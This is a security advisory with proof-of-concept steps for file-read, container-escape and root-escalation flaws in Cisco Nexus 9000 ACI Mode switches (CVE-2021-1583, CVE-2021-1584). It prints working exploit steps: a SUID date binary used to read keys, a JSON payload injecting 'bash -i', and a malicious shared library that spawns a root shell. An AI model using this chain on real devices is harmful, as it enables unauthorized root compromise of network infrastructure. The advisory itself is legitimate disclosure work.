Multiple vulnerabilities in Cisco Nexus 9000 Series Switch in ACI Mode version 14.2(7f) CVE-2021-1583 and CVE-2021-1584

Security advisory

2021-04-16

Adrien Peter
Pierre Milioni
Clément Amic

Vulnerabilities description

The Cisco Nexus 9000 Series ACI Mode

Cisco Nexus 9000 Switches provide the foundation for Application Centric Infrastructure, delivering scalability, performance, and exceptional energy efficiency.[1]

The issues

Synacktiv discovered multiple vulnerabilities in the *Cisco Nexus 9000 Series ACI Mode Software*:

- CVE-2021-1583, Arbitrary file read. This issue is the result of verbose error messages combined with high privilege execution. Consequently, an authenticated user can read sensitive files on the system. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-naci-afr-UtjfO2D7
- CVE-2021-1584, Command injection vulnerability in the program *hal_collector_tool* which can be invoked from the *runcmd* custom shell. Consequently, an authenticated user can escape the container. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-naci-mdvul-vrKVgNU
- Insecure file and folder permissions that can be exploited to perform a privilege escalation to the *root* user. No CVE Id has been affected to this vulnerability.

Affected versions

At the time this report is written, the firmware *aci-n9000-dk9.14.2.7f* was proven to be affected.

Timeline

Date	Action
2021-04-16	Advisory sent to *Cisco Product Security Incident Response*.
2021-04-20	Cisco retested and acknowledged the vulnerabilities
2021-07	Cisco released a fix in July 2021
2021-08-25	Cisco released the security advisories

1 https://www.cisco.com/c/en_hk/products/switches/nexus-9000-series-switches/index.html

Technical description and proof-of-concept

When connecting through SSH as the *admin* user on a N9000 equipment, the environment is restricted. Moreover, the system configuration should be read-only if this equipment is managed by another one inside a *Cisco ACI fabric*[2].

1. Arbitrary file read

The restricted environment provided when connecting through SSH contains the file */bin/date.coreutils* which is executable and have a *SETUID* flag whilst belonging to root:

```
# ls -lah /bin/date.coreutils

-rwsr-xr-x 1 root root 63K Mar 26 17:36 /bin/date.coreutils
```

This binary allows specifying an arbitrary file with the option *file*:

```
# /bin/date.coreutils --help | grep '\--file'

 -f, --file=DATEFILE       like --date once for each line of DATEFILE
```

If the file lines do not correspond to a date, an error message will be displayed showing the affected lines:

```
# /bin/date.coreutils -f /etc/passwd

/bin/date.coreutils: invalid date `root:x:0:0:root:/root:/bin/sh'
/bin/date.coreutils: invalid date `daemon:x:1:1:daemon:/usr/sbin:/bin/sh'
/bin/date.coreutils: invalid date `bin:x:2:2:bin:/bin:/bin/sh'
/bin/date.coreutils: invalid date `sys:x:3:3:sys:/dev:/bin/sh'
[...]
```

Thus, this program allows users to read arbitrary files including private keys and /etc/shadow:

```
# id
uid=15374(admin) gid=15374(admin) groups=15374(admin)

# ls -lah /tmp/server.key
-rwx------ 1 root root 889 Mar 26 17:47 /tmp/server.key

# /bin/date.coreutils -f /tmp/server.key
/bin/date.coreutils: invalid date `-----BEGIN RSA PRIVATE KEY-----'
/bin/date.coreutils: invalid date `MIIC[...]'
[...]
/bin/date.coreutils: invalid date `[...]IS2sg=='
/bin/date.coreutils: invalid date `-----END RSA PRIVATE KEY-----'
```

2 https://www.cisco.com/c/en/us/solutions/collateral/data-center-virtualization/application-centric-infrastructure/solution-overview-c22-741487.html

2. Restricted environment escape

The restricted environment provided when connecting through SSH contains another local SSH service that allows executing commands that require access to files outside the container.

```
# cat /isan/utils/backend_cmd.sh

#!/bin/sh
#
# Script to run a command outside the admin container through an ssh session
#

LOCAL_USER_KEY="/etc/ssh/ssh_local_rsa_key"
LOCAL_USER_PORT="1026"

TMP_ID_FILE=`mktemp /tmp/tmp.KEEP.XXXXXXXXXX`
TMP_HOSTS_FILE=`mktemp /tmp/tmp.KEEP.XXXXXXXXXX`

setup_tmp_files() {
    cp ${LOCAL_USER_KEY}.export $TMP_ID_FILE
    cp ${LOCAL_USER_KEY}.pub ${TMP_ID_FILE}.pub
    chmod og-r $TMP_ID_FILE

    HOST_STR=`cat ${TMP_ID_FILE}.pub`
    HOST_STR="[localhost]:${LOCAL_USER_PORT} "$HOST_STR
    echo $HOST_STR > $TMP_HOSTS_FILE
}

setup_tmp_files
ssh -t -i $TMP_ID_FILE -o UserKnownHostsFile=$TMP_HOSTS_FILE -p $LOCAL_USER_PORT
local@localhost $@ 2>/dev/null

rm $TMP_ID_FILE
rm ${TMP_ID_FILE}.pub
rm $TMP_HOSTS_FILE
```

Once authenticated on the local *SSH* server, the *runcmd* custom shell is executed as the local user belonging to the *root* group*:*

```
# cat /etc/passwd | grep 'local:'
local:x:10998:0::/var/run:/isan/bin/runcmd
```

Several command injection vulnerabilities[3] were previously found in the *runcmd* custom shell. These command injection vulnerabilities seem to be fixed properly in the current version as the command arguments are now checked properly:

```
while ( curr_off < strlen(cmd_args) )
{
  curr_chr = cmd_args[curr_off];
  if ( curr_chr == '\'' || curr_chr == '"' )
  {
    ++v22;
    curr_chr = '"';
  }
  else if ( (uint8)(curr_chr - 'a') > 25u
         && (uint8)(curr_chr - 'A') > 25u
```

3 https://www.synacktiv.com/ressources/advisories/advisories_cisco_n9000_restricted_environment_escape.pdf

```
         && (uint8)(curr_chr - '0') > 9u
         && curr_chr != '-'
         && curr_chr != ':'
         && curr_chr != '.'
         && curr_chr != '_'
         && curr_chr != '/'
         && curr_chr != ' ' )
  {
    __printf_chk(1, "Invalid command. Invalid input %c\n", cmd_args[curr_off]);
    return 4;
  }
  sanitized_arg[curr_off] = curr_chr;
  if ( v22 > 1 )
    break;
  ++curr_off;
}
```

However, by analyzing shortly the new version of the binary */isan/bin/runcmd* one could notice a new command is available inside the *runcmd* shell: *ccpython*:

```
.data:00002260 all_cmds        cmd_entry <offset aIsanBinVsh+0Ah, 0, 0, 0, offset
                                       aIsanBinVsh, 0, \
.data:00002260                                            ; DATA XREF: LOAD:000003A4↑o
.data:00002260                                            ; main+79↑r ...
.data:00002260                            offset aVshLc> ; "/isan/bin/vsh" ...
.data:00002260                 cmd_entry <offset dword_0, 0, 0, 0F35h, offset dword_0, \
.data:00002260                            offset aVshLcRo, offset dword_0>
.data:00002260                 cmd_entry <offset dword_0, 0, 0F35h, 0F53h, offset
                                       aIsanBinIping+0Ah, \
.data:00002260                         offset aIsanBinIping, offset aIsanBinIping+0Ah>
.data:00002260                 cmd_entry <offset dword_0, 0, 0, 0F7Bh, offset
                                       aIsanBinIping6, \
.data:00002260                         offset aIsanBinIping6+0Ah, offset dword_0>
.data:00002260                 cmd_entry <offset dword_0, 0, 0F82h, 0F8Bh, offset
                                       aCcpython, 0, \
.data:00002260                         offset dword_0>
.data:00002260                 cmd_entry  <0>

[...]

.rodata:00000F82 aCcpython       db 'ccpython',0         ; DATA XREF: .data:all_cmds↓o
.rodata:00000F8B aIsanBinHalColl db '/isan/bin/hal_collector_tool',0
```

By either using the SUID binary allowing arbitrary text file reading as root in order to use the private key */etc/ssh/ssh_local_rsa_key* or by directly using its world-readable copy */etc/ssh/ssh_local_rsa_key.export*, it is still possible to authenticate as the *local* user on the local *SSH* server:

```
# ssh -t -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no \
      -i /etc/ssh/ssh_local_rsa_key.export -p 1026 \
      local@localhost 'ccpython'

Could not create directory '/.ssh'.
Warning: Permanently added '[localhost]:1026' (RSA) to the list of known hosts.

Please provide dbname and json rule file with full path as commandline arguments
Usage: hal_collector_tool <db_name> <json file full path>
```

The *Python* script *hal_collector_tool* executed by using the command ccpython is stored at */mnt/ifc/cfg/isan/plugin/0/isan/bin/hal_collector_tool*. This tool parses JSON HAL files and produces auto-generated python classes but introduces a command injection vulnerability:

```
# cat /mnt/ifc/cfg/isan/plugin/0/isan/bin/hal_collector_tool | grep 'system' -A1 -B15

class Hal2DbGenerator(object):#{ class start

    def parse_json(cls, json, db_name, *args):
        for key, value in json.items():
            obj = cls(value, key, db_name)
            code = obj.generate_imports()
            generate_file_name = '{0}{1}2Db.py'.format(GEN_DIR, obj.json['hal_object'])
            with open(generate_file_name, 'w+') as gen_handle:
                gen_handle.write(code)
            print "Generated File Name " + generate_file_name
            os.environ['LD_LIBRARY_PATH'] = '/usr/lib:/lib/:/isan/lib'
            os.environ['SDK_CONFIG_FILE_PATH'] = '/lc/isan/etc'
            fault_file_name = ' %s' % (args[0]) if len(args) > 0 else ''
            exec_cmd = 'python ' + generate_file_name + fault_file_name
            print exec_cmd
            os.system(exec_cmd)
            #os.system('rm -f '+generate_file_name)
            del obj
```

As the temporary folder is shared between the container and the host, a json file of the following form can be crafted and stored in */tmp/* in order to trigger the command injection vulnerability and obtain an interactive shell:

```
# cat /tmp/hal_collection.json

{
  "VERSION": 1,
  "whatever": {
            "hal_package": "whatever",
            "hal_object": "../../../../../../../../../tmp/whatever;bash -i;",
            "hal_pi_fields": [],
            "hal_key": ""
  }
}


# chmod 644 /tmp/hal_collection.json
```

The payload can then be provided to the vulnerable tool in order to escape the restricted container from the *admin* user:

```
# ssh -t  -i /etc/ssh/ssh_local_rsa_key.export local@localhost -p 1026 \
      'ccpython whatever /tmp/hal_collection.json'
[...]
Gen imports
Gen Code
Gen Db Writer
Generated File Name
/var/sysmgr/tmp_logs/ccheck/../../../../../../../../../tmp/whatever;bash -i;2Db.py
python /var/sysmgr/tmp_logs/ccheck/../../../../../../../../../tmp/whatever;bash -i;2Db.py
python: can't open file
'/var/sysmgr/tmp_logs/ccheck/../../../../../../../../../tmp/whatever': [Errno 2] No such
file or directory


bash-4.2$ id
uid=10998(local) gid=0(root) groups=0(root)
bash-4.2$
```

3. Privilege escalation

Several directories that are mounted as read-only inside the restricted environment are configured with read and write access for everyone on the host.

This is especially the case for the following files:

- /mnt/ifc/cfg/isan/lib/kafkaLeafProducer_switch.py
- /mnt/ifc/cfg/isan/lib/kafkaLeafConsumer_switch.py
- /mnt/ifc/cfg/isan/lib/kafkaLeafDriver.py

And for the following directories:

- /isan/{lib,utils}/
- /mnt/ifc/cfg/isan/{bin64, lib64, lib, sbin,utils}/
- /mnt/ifc/cfg/isan/bin/lcimages/
- /mnt/ifc/cfg/isan/bin/cli-scripts/
- /mnt/ifc/cfg/isan/bin/routing-sw/
- /mnt/ifc/cfg/isan/plugin/0/lc/isan/lib/collector_python.py
- /mnt/ifc/cfg/isan/lib/cli_collector/
- /mnt/ifc/cfg/isan/lib/modules/
- /mnt/ifc/cfg/isan/lib/collector_python.py/
- /mnt/ifc/cfg/isan/lib/mcast_cli_parser/
- /var/run/mgmt/
- /dev/shm/* (several memory areas are writable by everyone)

This should not be a problem as long as the container is not escaped. However, if the previously described vulnerability is exploited and the container is escaped, it is possible to exploit these insecure file permissions.

From there, two scenarios can be envisaged in order to perform a privilege escalation:

- Modify the python code of the files */isan/lib/kafkaLeafDriver.py* and */isan/lib/LeafConsumer_client.py* as they are world-writable and are executed by *root*:

```
# ps faux

[..]
root      18675  0.0  0.0  12304  8460 ?        Ss   Mar26   0:02  \_ python
/isan/lib/kafkaLeafDriver.py
root      19657  2.9  0.0  85916 20568 ?        Sl   Mar26 507:44  |   \_ python
/isan/lib/LeafConsumer_client.py
[..]
```

- Add a Linux library inside */isan/lib/* and make a root process load it.

The second scenario seems to be more reliable as it does not need a service to be restarted. The good target is usually a *SETUID* binary which is owned by *root* and is executable by everyone. The *vsh* program seems to be an interesting target for this:

```
# which vsh
/isan/bin/vsh


# ls -lah /isan/bin/vsh
lrwxrwxrwx 1 root root 27 Mar 26 17:38 /isan/bin/vsh -> /isan/plugin/0/isan/bin/vsh


# ls -lah /isan/plugin/0/isan/bin/vsh
-rwsr-xr-x 1 root root 54K Mar 26 17:38 /isan/plugin/0/isan/bin/vsh
```

For some reasons, not all the libraries loaded dynamically by the *vsh* program are available when the default libraries search path is used:

```
bash-4.2$ vsh
Cisco iNX-OS Debug Shell
This shell should only be used for internal commands and exists
for legacy reasons. User should use ibash infrastructure as this
will be deprecated.
sh: /isan/bin/count_vsh.sh: No such file or directory
File option not supported Error: opening file: /bootflash/root.rc.cli

# tclsh
ERROR: Internal: could not open tcl library
dlerror: libtcl.so: cannot open shared object file: No such file or directory
```

Moreover, the directory */isan/lib* is also on the search path of the library loader by default:

```
bash-4.2$ ldd $(which vsh)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xf76ac000)
[...]
librt.so.1 => /lib/librt.so.1 (0xf6888000)
libcli-sysmgr.so => /isan/lib/libcli-sysmgr.so (0xf6840000)
libfileutil.so => /isan/lib/libfileutil.so (0xf6832000)
[...]
libmatexp.so => /isan/lib/libmatexp.so (0xe0127000)
```

And this directory is editable by the *local* user outside the read-only container:

```
bash-4.2$ ls -lah /isan/
total 96K
drwxr-xr-x  5 root root  100 Mar 26 16:25 .
drwxr-xr-x 24 root root  540 Mar 26 16:26 ..
drwxrwxrwt  5 root root  88K Mar 26 16:26 lib
drwxr-xr-x  4 root root   80 Mar 26 16:26 plugin
drwxrwxrwt  2 root root 4.0K Mar 26 16:25 utils
```

The local user cannot replace an existing file owned by root inside the directory as the sticky bit is set. However, the write for everyone permission on the directory can be used to add a custom library:

```
$ cat customlib.c
#include <stdio.h>
#include <stdlib.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

$ gcc -m32 -fPIC -shared -o customlib.so customlib.c -nostartfiles

bash-4.2$ cp /tmp/customlib.so /isan/lib/libtcl.so
bash-4.2$ chmod 755 /isan/lib/libtcl.so
```

Finally, this library can be dynamically loaded by the *SETUID* binary and provide *root* privileges outside the restricted environment:

```
(local) bash-4.2$ vsh
```

```
Cisco iNX-OS Debug Shell
This shell should only be used for internal commands and exists
for legacy reasons. User should use ibash infrastructure as this
will be deprecated.
sh: /isan/bin/count_vsh.sh: No such file or directory
File option not supported Error: opening file: /bootflash/root.rc.cli

# tclsh
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2#
```